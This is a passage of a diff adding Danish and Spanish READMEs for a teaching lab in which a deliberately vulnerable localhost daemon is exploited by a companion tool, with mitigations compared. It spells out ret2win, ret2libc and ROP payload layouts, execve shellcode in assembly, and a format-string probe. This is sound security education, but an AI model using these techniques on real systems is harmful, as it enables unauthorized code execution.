Læs det grundigt, for det er den vigtigste linje i hele laboratoriet: **canaryen
|
||||||
|
fangede ret2win, ikke PIE.** Alle tre teknikker dør ved canaryen, fordi alle tre
|
||||||
|
går gennem det samme `read()` og smadrer den samme frame. NX stopper kun
|
||||||
|
yderligere shellcodens *kode*; PIE bryder kun yderligere den hardkodede adresse.
|
||||||
|
Tænd dem enkeltvis, og du vil opdage, at de fleste enkelte modforanstaltninger
|
||||||
|
efterlader dig udsat over for noget.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Filer
|
||||||
|
|
||||||
|
| Fil | Formål |
|
||||||
|
|---|---|
|
||||||
|
| `food.c` | den sårbare daemon. 6 nummererede fejl, hver med sin fix i kommentaren |
|
||||||
|
| `fooc.c` | exploitet. objdump-baseret offseterkendelse, `/proc`-baseret libc-erkendelse, 4 payload-buildere |
|
||||||
|
| `shellcode.S` | de 23 shellcode-bytes som assembly, så de kan læses og verificeres. `fooc` bærer dem inline og behøver ikke dette ved kørsel |
|
||||||
|
| `Makefile` | bygger, tester og den hærdede sammenligning |
|
||||||
|
| `tests/pty_test.c` | driver `fooc` gennem et pseudo-terminal og tjekker for ægte shell-output |
|
||||||
|
| `tests/sock_test.c` | uafhængig verifikator over en rå socket, så resultatet ikke afhænger af `fooc` |
|
||||||
|
| `food.log` | daemonens log. Dit bevis på, hvad der skete |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## To fejl i dette laboratorium, der er værd at forstå
|
||||||
|
|
||||||
|
Det er ikke target-programmets fejl. Det er fejl i exploitet og i dets
|
||||||
|
test-harness, og begge producerede overbevisende løgne. De er dokumenteret i
|
||||||
|
kilden, hvor de bor; her står de, fordi fiaskomønstrene er lærerige.
|
||||||
|
|
||||||
|
### Stack-justering: nedbruddet, der ikke er en NULL-dereference
|
||||||
|
|
||||||
|
**Symptom.** Kapringen lander korrekt — `gdb` viser dig i `win()` — og så dør
|
||||||
|
det allerførste, `win()` gør, et `dprintf()`. `SIGSEGV`-handleren rapporterer
|
||||||
|
`RIP` dybt inde i glibcs formatter og en fejladresse på `(nil)`, hvilket ser
|
||||||
|
præcis ud som en korrupt pointer.
|
||||||
|
|
||||||
|
**Årsag.** System V AMD64-ABI'en kræver 16-byte stack-justering. Et normalt
|
||||||
|
`ret` genskaber `%rsp` præcis som det tilsvarende `call` gemte det, så
|
||||||
|
invarianten bevares gratis. Vores nøgne `ret` gør ikke: efter det gælder
|
||||||
|
`%rsp = buf + rip_off`. Her er `buf` 16-byte justeret og `rip_off` er 88, så
|
||||||
|
callee'en får en stack, der er 8 mod 16. glibc er kompileret med SSE2, og
|
||||||
|
`movaps` **fault'er** ved et fejljusteret operand. På x86 rejser det `#GP`, ikke
|
||||||
|
`#PF`, så kernen har ingen fejladresse og rapporterer `si_addr = 0`. Det NULL
|
||||||
|
er fingerpeg: en justeringsfejl forklædt som en NULL-dereference.
|
||||||
|
|
||||||
|
**Fix.** Et `ret`-gadget *ved offset `rip_off`*, der flytter det rigtige target
|
||||||
|
8 bytes op, fordi hvert `ret` lægger præcis 8 til `%rsp`. Rækkefølgen er
|
||||||
|
kritisk: en tidligere version hæftede `ret`-et *efter* target og producerede
|
||||||
|
`[ padding | target | ret ]`, hvor det afsluttende `ret` aldrig nås, og fixen
|
||||||
|
stille og roligt intet gør. Et vildfarent `ret`, der ligner en fejl, er næsten
|
||||||
|
altid bevidst.
|
||||||
|
|
||||||
|
### Én socket, to læsere: det byte, der forsvandt
|
||||||
|
|
||||||
|
**Symptom.** Shellcode blev rapporteret som fungerende. Derefter blev
|
||||||
|
pty-harnessen gjort strengere (slukning af `ECHO`, så terminalen holdt op med at
|
||||||
|
ekko harnessens egen kommandolinje tilbage til sig selv), og teknikken begyndte
|
||||||
|
at fejle. Dybere set tabte hver teknik præcis ét byte fra starten af hver
|
||||||
|
udgangschunk: `uid=1000(hanez)` blev printet som `id=1000(hanez)`, `PWNED-OK`
|
||||||
|
som `WNED-OK`, `Linux 7.2.7` som `inux 7.2.7`.
|
||||||
|
|
||||||
|
**Årsag.** `fooc` plejede at `dup2()`e socket'en på sit eget stdin/stdout og
|
||||||
|
`execv()`e en *lokal* `/bin/sh`, mens et forket relay-barn også læste den samme
|
||||||
|
socket for at flytte output til terminalen. Kernen er ligeglad med, at de to
|
||||||
|
samarbejder. En streamsocket har **én** læse-cursor, og hver læser flytter den,
|
||||||
|
så bytes deles uforudsigeligt mellem dem. Den lokale shell, der er en
|
||||||
|
interaktiv login-shell, læste præcis ét byte og smed det væk — hver eneste
|
||||||
|
gang. `strace -f` viste det øjeblikkeligt:
|
||||||
|
|
||||||
|
```
|
||||||
|
read(0, "u", 1) <- den lokale shell, æder et byte
|
||||||
|
read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- relay'et, 1 byte for kort
|
||||||
|
```
|
||||||
|
|
||||||
|
**Fix.** Der er slet ingen shell på denne side. Der er præcis én shell i hele
|
||||||
|
billedet, og den er på offeret, inde i den kaprede proces, med
|
||||||
|
TCP-forbindelsen som dens stdin/stdout. Denne side flytter kun bytes. Hvis du
|
||||||
|
nogensinde har brug for to forbrugere af en stream, skal den stream have én
|
||||||
|
eneste læser, der bevidst demultiplekser den.
|
||||||
|
|
||||||
|
**Meta-lektionen.** Det første "fungerende" resultat var et falsk positivt,
|
||||||
|
produceret af at pty'en ekkoede harnessens egen kommandolinje tilbage til den,
|
||||||
|
og fixen for det falske positive er det, der afslørede den rigtige fejl. Tests,
|
||||||
|
der ikke kan fejle, er værre end ingen tests, fordi de forvandler "jeg ved
|
||||||
|
ikke" til "det virker". En test-harness fortjener samme mistænksomhed som den
|
||||||
|
kode, den tester.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## At pille ved det
|
||||||
|
|
||||||
|
Ting, der er værd at prøve, nogenlunde i den rækkefølge, du lærer mest af dem:
|
||||||
|
|
||||||
|
1. **Ændr `FOOD_BUFSZ` til 128.** Kør `fooc` igen. Det burde stadig virke uden
|
||||||
|
ændringer, fordi det læser offset ud af disassembly'en. Bræk det så i
|
||||||
|
hånden — hardkod 88 — og se det crashe. Tilføj derefter et andet array
|
||||||
|
mellem `buf` og de gemte registre, og se den automatiske erkendelse klare
|
||||||
|
det.
|
||||||
|
|
||||||
|
2. **Tilføj `-Wformat-security` og se, hvad format-string-stien gør.** Send
|
||||||
|
`%p %p %p %n` og se `food` lække stacken.
|
||||||
|
|
||||||
|
3. **Brug gdb.** `make debug`, derefter:
|
||||||
|
```gdb
|
||||||
|
(gdb) break food.c:393 # det read(), der løber over
|
||||||
|
(gdb) run -p 2342
|
||||||
|
(gdb) info registers rsp rbp
|
||||||
|
(gdb) x/24gx $rsp # bemærk, hvor returadressen ligger
|
||||||
|
(gdb) c # i et andet terminal: ./fooc -t ret2win
|
||||||
|
```
|
||||||
|
`SIGSEGV`-handleren logger `REG_RIP` og `REG_RSP`, så `food.log` fortæller
|
||||||
|
dig, om kapringen landede, selv når barnet dør, før du kan koble på.
|
||||||
|
|
||||||
|
4. **Slet justeringsfixen** i `fooc.c` og se `#GP`-fejlen med
|
||||||
|
`si_addr = 0`-signaturen. Læs derefter `/proc/sys/kernel/randomize_va_space`
|
||||||
|
og tænk over, hvad ASLR randomiserer, og hvad det ikke gør.
|
||||||
|
|
||||||
|
5. **Bræk libc-symbolopløsningen** og se `fooc` tilpasse sig. Hele pointen med
|
||||||
|
`/proc/self/maps`-tilgangen er, at intet offset er hardkodet.
|
||||||
|
|
||||||
|
6. **Skriv en fjerde teknik.** En `ret2csu`-lignende kæde, hvis du kan finde
|
||||||
|
`__libc_csu_init`, eller en SROP-kæde (`sigreturn`-frames lader dig
|
||||||
|
kontrollere alle registre på én gang). Begge er rent ROP og behøver ingen
|
||||||
|
eksekverbar hukommelse.
|
||||||
|
|
||||||
|
7. **Fix `food.c` ordentligt**, én fejl ad gangen, og kør exploitet igen efter
|
||||||
|
hver fix. Rækkefølgen i tabellen øverst i `food.c` er nogenlunde den rigtige
|
||||||
|
rækkefølge at tænke i: begræns først read'et, for intet andet betyder noget,
|
||||||
|
før fejlen er væk.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Oprydning
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make stop # stopper food
|
||||||
|
make clean # fjerner build-produkter; lader food.log være i fred
|
||||||
|
pkill -x sh # kun hvis du har strejfende shells fra en test, der gik skævt
|
||||||
|
```
|
||||||
|
|
||||||
|
Bemærk: `pkill -x food` matcher proces**navnet** præcist. Brug ikke
|
||||||
|
`pkill -f ./food` — det mønster matcher også den shell, du har skrevet det i,
|
||||||
|
og dræber din egen session. Det er ikke en hypotese; det skete, mens dette
|
||||||
|
laboratorium blev bygget.
|
||||||
426
README.ES.md
Normal file
426
README.ES.md
Normal file
|
|
@ -0,0 +1,426 @@
|
||||||
|
# food / fooc — un desbordamiento de búfer de pila, desde ambos lados
|
||||||
|
|
||||||
|
Un laboratorio de seguridad en C99 en dos mitades:
|
||||||
|
|
||||||
|
- **`food.c`** — un demonio TCP deliberadamente vulnerable. Tiene un
|
||||||
|
desbordamiento de búfer de pila real, de libro de texto (CWE-120), más un par
|
||||||
|
de errores de propina.
|
||||||
|
- **`fooc.c`** — un exploit contra él. Calcula el offset del desbordamiento
|
||||||
|
desensamblando el programa objetivo en tiempo de ejecución, lee las fugas de
|
||||||
|
direcciones del demonio y consigue un shell en la "víctima" sobrescribiendo
|
||||||
|
una dirección de retorno guardada.
|
||||||
|
|
||||||
|
El punto no es el shell. El punto es que puedas seguir de principio a fin cómo
|
||||||
|
un error de seguridad de memoria se convierte en ejecución de código arbitrario
|
||||||
|
— y después ver exactamente qué mitigaciones detienen cada eslabón de esa
|
||||||
|
cadena. Cada línea de ambos programas está comentada, porque el mecanismo es la
|
||||||
|
lección.
|
||||||
|
|
||||||
|
```
|
||||||
|
tu terminal
|
||||||
|
|
|
||||||
|
./fooc (exploit)
|
||||||
|
|
|
||||||
|
TCP 127.0.0.1:2342
|
||||||
|
|
|
||||||
|
./food (demonio vulnerable)
|
||||||
|
|
|
||||||
|
fork() -> vulnerable_handler() -> overflow -> ret -> tu código
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚠️ Lee esto primero
|
||||||
|
|
||||||
|
**`food` es un servicio de red deliberadamente roto. Solo se enlaza a
|
||||||
|
`127.0.0.1`, y ese valor por defecto es deliberado — déjalo así.**
|
||||||
|
|
||||||
|
- **No** lo ejecutes en una máquina que te importe, ni en nada que contenga
|
||||||
|
datos.
|
||||||
|
- **No** lo enlaces a `0.0.0.0` ni a una interfaz de red real. Está
|
||||||
|
deliberadamente diseñado para ser explotable de forma remota.
|
||||||
|
- Apuntar `fooc` a un host que no posees o para el que no tienes permiso
|
||||||
|
escrito de prueba es un delito informático en la mayoría de las
|
||||||
|
jurisdicciones — también bajo la UK Computer Misuse Act y la US Computer
|
||||||
|
Fraud and Abuse Act.
|
||||||
|
- Se enlaza a un puerto no privilegiado (>1024), así que no necesitas root. No
|
||||||
|
lo "mejores" añadiendo capabilities o ejecutándolo como servicio del sistema.
|
||||||
|
- Cada conexión se gestiona en un hijo `fork()`, y `food` hace reap de él, así
|
||||||
|
que los crashes no se acumulan. Si luego encuentras docenas de `sh`
|
||||||
|
sueltos, `pkill -x sh` es la limpieza.
|
||||||
|
|
||||||
|
En caso de duda: este laboratorio es para una máquina virtual o un contenedor,
|
||||||
|
en una red que tú controlas, en una máquina sin nada que echaras de menos.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Inicio rápido
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make # compila food, fooc y los harness de prueba
|
||||||
|
make run # arranca food en 127.0.0.1:2342, desacoplado en segundo plano
|
||||||
|
make test # ejecuta las tres técnicas de exploit
|
||||||
|
make stop # detiene el demonio
|
||||||
|
```
|
||||||
|
|
||||||
|
Después, a mano:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
./fooc -t leak # mira las fugas de direcciones que food revela
|
||||||
|
./fooc -t demo -v # envía basura; ve morir a food con SIGSEGV
|
||||||
|
./fooc -t ret2win -i # salta a una función que ya existe -> shell
|
||||||
|
```
|
||||||
|
|
||||||
|
### Requisitos
|
||||||
|
|
||||||
|
| Herramienta | Para qué | Notas |
|
||||||
|
|---|---|---|
|
||||||
|
| `gcc` (o clang) | compilar | C99. Probado con gcc 16.2 |
|
||||||
|
| `objdump` | `fooc` | binutils. `fooc` lo invoca en tiempo de ejecución |
|
||||||
|
| `nasm` | `make verify` | solo para contrastar el shellcode; se omite si falta |
|
||||||
|
| `gdb` | `make debug` | opcional |
|
||||||
|
| Linux, x86-64 | ambos | el payload y la caza de gadgets dependen de la arquitectura |
|
||||||
|
|
||||||
|
`fooc` también necesita `-ldl` para `dlsym()`; el Makefile lo gestiona.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## El bug
|
||||||
|
|
||||||
|
Una línea en `food.c` es toda la superficie de ataque:
|
||||||
|
|
||||||
|
```c
|
||||||
|
char buf[FOOD_BUFSZ]; /* 64 bytes */
|
||||||
|
n = read(fd, buf, FOOD_READMAX); /* hasta 512 bytes de la red */
|
||||||
|
```
|
||||||
|
|
||||||
|
64 bytes de destino, 512 aceptados. El atacante sobrescribe 448 bytes más allá
|
||||||
|
del final del búfer, y como la pila crece hacia abajo, "más allá del final"
|
||||||
|
significa "dentro del marco superior" — y ahí es exactamente donde están el
|
||||||
|
puntero de marco guardado y la **dirección de retorno guardada**.
|
||||||
|
|
||||||
|
En una función x86-64 compilada a `-O0`:
|
||||||
|
|
||||||
|
```
|
||||||
|
direcciones altas
|
||||||
|
+------------------------+ rbp + 16 : locales de la llamadora
|
||||||
|
| ... |
|
||||||
|
+------------------------+ rbp + 8 : DIRECCIÓN DE RETORNO GUARDADA <-- se vuelve RIP
|
||||||
|
| saved rbp (8 bytes) |
|
||||||
|
+------------------------+ rbp : nuestro puntero de marco
|
||||||
|
| line[128] |
|
||||||
|
| buf[64] | <- rsp: lo que read() llena
|
||||||
|
+------------------------+
|
||||||
|
direcciones bajas
|
||||||
|
```
|
||||||
|
|
||||||
|
Cuando la función retorna, `leave; ret` hace pop de los 8 bytes en `RIP`, y la
|
||||||
|
CPU salta donde el atacante ha decidido. Todo lo demás en este laboratorio es
|
||||||
|
aritmética sobre hacia dónde apuntar.
|
||||||
|
|
||||||
|
Para esta compilación, los números son: `buf` mide 64 bytes, el `rbp` guardado
|
||||||
|
mide 8, así que la dirección de retorno está en el offset **88** desde el
|
||||||
|
inicio de `buf`. `fooc` no hardcodea eso — desensambla `food` y encuentra el
|
||||||
|
`lea -0x50(%rbp)` delante de `call read@plt`, así que sigue funcionando si
|
||||||
|
cambias `FOOD_BUFSZ`.
|
||||||
|
|
||||||
|
> gcc ya te lo dice. Compilar `food` imprime:
|
||||||
|
> `warning: 'read' writing 512 bytes into a region of size 64 overflows the
|
||||||
|
> destination [-Wstringop-overflow=]`. Nunca silencies esa advertencia en
|
||||||
|
> código real. Es seguridad gratuita.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Las tres técnicas
|
||||||
|
|
||||||
|
`fooc -t <technique>`. Están en el orden en que un atacante real trabajaría en
|
||||||
|
ellas, porque cada una necesita lo que la anterior te enseñó.
|
||||||
|
|
||||||
|
### 1. `ret2win` — controla el puntero de instrucción
|
||||||
|
|
||||||
|
```
|
||||||
|
[ 88 bytes de basura ][ la dirección del win() de food ]
|
||||||
|
^ saved rbp
|
||||||
|
^ se vuelve RIP
|
||||||
|
```
|
||||||
|
|
||||||
|
`win()` es una función del programa objetivo que hace exec de `/bin/sh`.
|
||||||
|
Sobrescribir la dirección de retorno con su dirección es todo el exploit.
|
||||||
|
|
||||||
|
**Lo que enseña:** tienes control arbitrario del puntero de instrucción.
|
||||||
|
Tampoco necesita fuga, porque el binario está compilado con `-no-pie`, así que
|
||||||
|
`win()` está en una dirección fija para siempre.
|
||||||
|
|
||||||
|
**El equivalente del mundo real** no es "los ataques son fáciles", sino "no
|
||||||
|
envíes backdoors no documentadas en binarios de red". Si existe una función
|
||||||
|
como `win()` en tu binario, un desbordamiento de búfer la encontrará. Es
|
||||||
|
literalmente la clase de CVE de backdoor de Juniper ScreenOS.
|
||||||
|
|
||||||
|
**Defensa:** `-fPIE` (o ASLR) randomiza la dirección de carga, así que el
|
||||||
|
atacante debe conocer la dirección — lo que normalmente significa que primero
|
||||||
|
necesita una fuga. Por eso `ret2win` falla contra `food_hardened`.
|
||||||
|
|
||||||
|
### 2. `ret2libc` — llama a lo que sea, por su nombre
|
||||||
|
|
||||||
|
```
|
||||||
|
[ basura ][ pop rdi; ret ][ dirección de "/bin/sh" ][ dirección de system() ]
|
||||||
|
^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^
|
||||||
|
pone rdi la cadena a enviar la función a llamar
|
||||||
|
```
|
||||||
|
|
||||||
|
En ejecución: `ret` hace pop de `pop rdi; ret` en RIP; eso hace pop del puntero
|
||||||
|
`"/bin/sh"` en `RDI`; su `ret` hace pop de `system()` en RIP, mientras `RDI`
|
||||||
|
sigue sosteniendo la cadena. `system("/bin/sh")` se ejecuta.
|
||||||
|
|
||||||
|
Los gadgets (`pop rdi; ret`) no están en `food` — esta glibc no tiene
|
||||||
|
`__libc_csu_init` — así que `fooc` los encuentra escaneando la memoria viva de
|
||||||
|
libc en busca del par de bytes `5f c3`. Localiza libc vía `/proc/self/maps`,
|
||||||
|
encuentra los offsets de `system` y `"/bin/sh"` con `dlsym()` y calcula la base
|
||||||
|
a partir de la fuga que `food` divulga. Nada está hardcodeado, así que
|
||||||
|
sobrevive a una actualización de libc.
|
||||||
|
|
||||||
|
**Lo que enseña:** una vez que puedes controlar `RIP`, puedes encadenar
|
||||||
|
instrucciones *existentes*. Eso es return-oriented programming, y así se ven
|
||||||
|
casi todos los exploits reales, porque no requiere memoria ejecutable provista
|
||||||
|
por el atacante.
|
||||||
|
|
||||||
|
**Defensa:** ninguno de los flags del compilador lo detiene solo. Funciona
|
||||||
|
contra un binario PIE, con NX, con canary — mientras el atacante tenga una
|
||||||
|
fuga. Las defensas son "no tengas el desbordamiento" y "no fugues
|
||||||
|
direcciones". Ver la tabla más abajo.
|
||||||
|
|
||||||
|
### 3. `shellcode` — ejecuta tu propio código máquina
|
||||||
|
|
||||||
|
23 bytes, colocados al inicio del búfer, con `RIP` apuntando a ellos:
|
||||||
|
|
||||||
|
```asm
|
||||||
|
xor esi, esi ; envp = NULL
|
||||||
|
xor edx, edx ; argv = NULL
|
||||||
|
movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" como 8 bytes crudos
|
||||||
|
push rdi ; deja la cadena en la pila
|
||||||
|
mov rdi, rsp ; rdi = &"/bin/sh"
|
||||||
|
push 0x3b ; 59 = __NR_execve
|
||||||
|
pop rax
|
||||||
|
syscall ; ahora somos un shell
|
||||||
|
```
|
||||||
|
|
||||||
|
Esta es la forma más pura del bug: el atacante entrega *las instrucciones*, no
|
||||||
|
solo la dirección de instrucciones que ya existen. No se necesitan offsets de
|
||||||
|
libc, así que en principio funciona contra un objetivo estáticamente enlazado,
|
||||||
|
totalmente randomizado.
|
||||||
|
|
||||||
|
`make verify` ensambla `shellcode.S` y lo compara con el array de bytes embebido
|
||||||
|
en `fooc.c`, para que no puedan divergir.
|
||||||
|
|
||||||
|
**Defensa:** **NX** (también llamado W^X, "no execute"). Marcar la pila como no
|
||||||
|
ejecutable hace que el hardware se niegue a buscar instrucciones en ella, y el
|
||||||
|
`ret` aterriza en una página que no puede ejecutarse. Por eso `make food` pasa
|
||||||
|
`-z execstack`: una pila Linux normal es `rw-p`, no `rwx`, y la técnica muere
|
||||||
|
con SIGSEGV en `RIP = la dirección del payload`. La lección más importante del
|
||||||
|
laboratorio es que cada uno de estos bytes funciona solo porque se le dijo al
|
||||||
|
compilador que dejara la pila ejecutable. Ese flag está activado para bien de
|
||||||
|
nadie.
|
||||||
|
|
||||||
|
### También incluido
|
||||||
|
|
||||||
|
| Modo | Qué hace |
|
||||||
|
|---|---|
|
||||||
|
| `-t leak` | se conecta, imprime fugas, no envía nada |
|
||||||
|
| `-t demo` | envía `rip_off + 8` bytes de `0x41`, así que `RIP` se vuelve `0x4141...` y el demonio muere. Prueba el bug sin ningún conocimiento de direcciones |
|
||||||
|
| `-t sled` | un ret-sled, conservado deliberadamente como ejemplo **fallido**. Sin una fuga, harías fuerza bruta a ASLR llenando el búfer con la dirección de un `ret`. No puede funcionar aquí: `food` acepta 512 bytes, así que el sled tiene ~53 ranuras frente a ~28 bits de entropía. Implementado para que puedas verlo fallar y confirmar que el mecanismo es de verdad "la CPU sigue una cadena de rets" |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## La tabla de mitigaciones
|
||||||
|
|
||||||
|
Esta es la parte que hay que recordar. Cada fila es una defensa real, y la
|
||||||
|
columna derecha muestra qué hace realmente con la cadena de eventos.
|
||||||
|
|
||||||
|
| Mitigación | Cómo activarla | Qué detiene | Qué *no* detiene |
|
||||||
|
|---|---|---|---|
|
||||||
|
| **Limita read** | `n = read(fd, buf, sizeof buf - 1);` | **Todo.** El bug no existe, así que nada aguas abajo importa | Nada — es el único fix completo |
|
||||||
|
| **Canary de pila** | `-fstack-protector-strong` (por defecto en gcc) | El `ret`: la canary se comprueba al final de la función, así que la destrucción se detecta y el proceso aborta antes de que se haga pop de `RIP` | Un error en una función *sin* array (nada que proteger); un desbordamiento que se mantiene por debajo de la canary; todo lo que no retorna normalmente |
|
||||||
|
| **NX / W^X** | `-z noexecstack` (el valor por defecto) | Shellcode. Las instrucciones del payload no pueden buscarse | ret2win y ret2libc por completo. Son *la razón* de que exista ROP |
|
||||||
|
| **PIE + ASLR** | `-fPIE` + ASLR=2 (ambos por defecto) | Las direcciones hardcodeadas de ret2win. Todo se mueve en cada ejecución | Todo donde el atacante tenga una fuga. ASLR sube el precio de un exploit; no es un fix. Nota que la pila, el heap y mmap se randomizan, pero el *contenido* del binario principal no — eso es lo que usan las cadenas ROP |
|
||||||
|
| **No fugues** | ningún `printf("%p")` a clientes; inicializa antes de imprimir | La fuga de información que hace que ASLR sea "gratis" en vez de "caro" | — |
|
||||||
|
| **No uses `printf(user_data)`** | `printf("%s", buf)` en lugar de `printf(buf)` | Errores de cadena de formato: lecturas de pila `%x`, escrituras arbitrarias `%n` — un *otro* camino a RCE | — |
|
||||||
|
| **No uses rutas no confiables** | valida y `openat()` bajo un directorio fijo | Path traversal (CWE-22) | — |
|
||||||
|
| **CET / shadow stack** | `-fcf-protection=full`, soporte de kernel y CPU | El `ret` en sí: la shadow stack recuerda la *verdadera* dirección de retorno y falla ante un desajuste. Atrapa cadenas ROP que usan el `ret` de hardware | Ataques que nunca `ret` (call-oriented, o sobrescribir el objetivo de un puntero de función con una cadena de gadgets que no necesita retorno) |
|
||||||
|
| **Lenguajes seguros** | Rust, Go, C# para código nuevo | Toda la clase. Las comprobaciones de límites se imponen en ejecución, no se esperan en la revisión | — |
|
||||||
|
|
||||||
|
### Compruébalo por ti mismo
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make run # demonio vulnerable
|
||||||
|
make test # las tres técnicas funcionan
|
||||||
|
|
||||||
|
make test-hardened # el mismo código fuente, mitigaciones activadas
|
||||||
|
```
|
||||||
|
|
||||||
|
`test-hardened` compila `food_hardened` con `-fstack-protector-strong -fPIE
|
||||||
|
-pie -z noexecstack`, lo intercambia, vuelve a ejecutar las tres y luego
|
||||||
|
restaura el vulnerable. Verás:
|
||||||
|
|
||||||
|
```
|
||||||
|
### stack segment: 'rw-p' (NOT executable) is what you want to see
|
||||||
|
--- ret2win was stopped by the mitigations (as expected)
|
||||||
|
--- ret2libc was stopped by the mitigations (as expected)
|
||||||
|
--- shellcode was stopped by the mitigations (as expected)
|
||||||
|
```
|
||||||
|
|
||||||
|
Y en el log del demonio endurecido, la canary que se dispara:
|
||||||
|
|
||||||
|
```
|
||||||
|
*** stack smashing detected ***: terminated
|
||||||
|
```
|
||||||
|
|
||||||
|
Léelo con cuidado, porque es la línea más importante de todo el laboratorio:
|
||||||
|
**la canary atrapó a ret2win, no PIE.** Las tres técnicas mueren en la canary,
|
||||||
|
porque las tres pasan por el mismo `read()` y destruyen el mismo marco. NX solo
|
||||||
|
detiene además el *código* del shellcode; PIE solo rompe además la dirección
|
||||||
|
hardcodeada. Actívalas una a una, y descubrirás que la mayoría de las
|
||||||
|
mitigaciones individuales te dejan expuesto a algo.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Archivos
|
||||||
|
|
||||||
|
| Archivo | Propósito |
|
||||||
|
|---|---|
|
||||||
|
| `food.c` | el demonio vulnerable. 6 errores numerados, cada uno con su fix en el comentario |
|
||||||
|
| `fooc.c` | el exploit. Reconocimiento de offset basado en objdump, reconocimiento de libc basado en `/proc`, 4 constructores de payload |
|
||||||
|
| `shellcode.S` | los 23 bytes de shellcode como assembly, para que sean legibles y verificables. `fooc` los lleva en línea y no lo necesita en ejecución |
|
||||||
|
| `Makefile` | compila, prueba y la comparación endurecida |
|
||||||
|
| `tests/pty_test.c` | conduce a `fooc` a través de un pseudo-terminal y comprueba salida real de shell |
|
||||||
|
| `tests/sock_test.c` | verificador independiente sobre un socket crudo, para que el resultado no dependa de `fooc` |
|
||||||
|
| `food.log` | el log del demonio. Tu prueba de lo que ocurrió |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Dos errores de este laboratorio que merece la pena entender
|
||||||
|
|
||||||
|
No son los errores del programa objetivo. Son errores del exploit y de su
|
||||||
|
harness de prueba, y ambos produjeron mentiras convincentes. Están
|
||||||
|
documentados en la fuente donde viven; están aquí porque los patrones de fallo
|
||||||
|
son instructivos.
|
||||||
|
|
||||||
|
### Alineación de pila: el crash que no es una desreferencia NULL
|
||||||
|
|
||||||
|
**Síntoma.** La toma de control aterriza correctamente — `gdb` te muestra
|
||||||
|
dentro de `win()` — y entonces muere lo primero que hace `win()`, un
|
||||||
|
`dprintf()`. El handler de SIGSEGV informa de `RIP` profundo dentro del
|
||||||
|
formateador de glibc y una dirección de error de `(nil)`, lo que parece
|
||||||
|
exactamente un puntero corrupto.
|
||||||
|
|
||||||
|
**Causa.** La ABI System V AMD64 exige una alineación de pila de 16 bytes. Un
|
||||||
|
`ret` normal restaura `%rsp` exactamente como el `call` correspondiente lo
|
||||||
|
guardó, así que la invariante se preserva gratis. Nuestro `ret` desnudo no:
|
||||||
|
después de él, `%rsp = buf + rip_off`. Aquí, `buf` está alineado a 16 bytes y
|
||||||
|
`rip_off` es 88, así que la callee recibe una pila de 8 mod 16. glibc está
|
||||||
|
compilada con SSE2, y `movaps` **falla** ante un operando mal alineado. En x86
|
||||||
|
eso levanta `#GP`, no `#PF`, así que el kernel no tiene dirección de error e
|
||||||
|
informa `si_addr = 0`. Ese NULL es la pista: un error de alineación disfrazado
|
||||||
|
de desreferencia NULL.
|
||||||
|
|
||||||
|
**Fix.** Un gadget `ret` *en el offset `rip_off`*, que desplaza el objetivo
|
||||||
|
real 8 bytes, porque cada `ret` añade exactamente 8 a `%rsp`. El orden es
|
||||||
|
crítico: una versión anterior pegaba el `ret` *después* del objetivo y
|
||||||
|
producía `[ padding | target | ret ]`, donde el `ret` final nunca se alcanza y
|
||||||
|
el fix no hace nada en silencio. Un `ret` perdido que parece un error es casi
|
||||||
|
siempre intencional.
|
||||||
|
|
||||||
|
### Un socket, dos lectores: el byte que desapareció
|
||||||
|
|
||||||
|
**Síntoma.** El shellcode se reportó como funcionando. Luego se endureció el
|
||||||
|
harness pty (apagar `ECHO`, para que la terminal dejara de ecoar su propia
|
||||||
|
línea de comandos hacia sí misma), y la técnica empezó a fallar. Más
|
||||||
|
profundo, cada técnica perdía exactamente un byte del inicio de cada trozo de
|
||||||
|
salida: `uid=1000(hanez)` se imprimía como `id=1000(hanez)`, `PWNED-OK` como
|
||||||
|
`WNED-OK`, `Linux 7.2.7` como `inux 7.2.7`.
|
||||||
|
|
||||||
|
**Causa.** `fooc` solía hacer `dup2()` del socket sobre su propio stdin/stdout
|
||||||
|
y `execv()` de un `/bin/sh` *local*, mientras un hijo relay forkado también leía
|
||||||
|
el mismo socket para mover la salida al terminal. Al kernel le da igual que los
|
||||||
|
dos cooperen. Un socket de stream tiene **un** cursor de lectura, y cada lector
|
||||||
|
lo mueve, así que los bytes se reparten entre ellos de forma impredecible. El
|
||||||
|
shell local — un shell de login interactivo — leía exactamente un byte y lo
|
||||||
|
desechaba, cada vez. `strace -f` lo mostró de inmediato:
|
||||||
|
|
||||||
|
```
|
||||||
|
read(0, "u", 1) <- el shell local, comiéndose un byte
|
||||||
|
read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- el relay, 1 byte corto
|
||||||
|
```
|
||||||
|
|
||||||
|
**Fix.** No hay ningún shell en este lado, punto. Hay exactamente un shell en
|
||||||
|
todo el cuadro, y está en la víctima, dentro del proceso secuestrado, con la
|
||||||
|
conexión TCP como su stdin/stdout. Este lado solo mueve bytes. Si alguna vez
|
||||||
|
necesitas dos consumidores de un stream, ese stream necesita un único lector
|
||||||
|
que lo demultiplexe deliberadamente.
|
||||||
|
|
||||||
|
**La meta-lección.** El primer resultado "funcionante" fue un falso positivo,
|
||||||
|
producido porque la pty ecoaba su propia línea de comandos hacia sí misma, y el
|
||||||
|
fix de ese falso positivo es lo que reveló el error real. Las pruebas que no
|
||||||
|
pueden fallar son peores que ninguna prueba, porque convierten "no lo sé" en
|
||||||
|
"funciona". Un harness de prueba merece la misma sospecha que el código que
|
||||||
|
prueba.
|
||||||
